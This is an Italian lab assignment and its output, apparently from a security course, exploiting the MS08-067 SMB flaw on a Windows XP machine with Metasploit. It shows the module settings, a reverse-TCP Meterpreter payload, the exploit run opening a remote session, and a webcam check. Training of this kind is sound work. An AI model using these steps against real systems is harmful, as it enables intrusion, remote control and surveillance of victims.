COMPITO S7-L3

Hacking Windows XP

Hacking Windows con Metasploit

Traccia: Hacking MS08-067

- Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067. Una volta ottenuta la sessione, si dovrà:
- Recuperare uno screenshot tramite la sessione Meterpreter
- Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

```
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.50.104   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                       ploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.50.100   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.104:445 - Automatically detecting the target...
[*] 192.168.50.104:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.104:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.104:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.104
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.104:1035) at 2024-01-24 08:06:16 -0500
```

```
meterpreter > webcam_list
[-] No webcams were found
```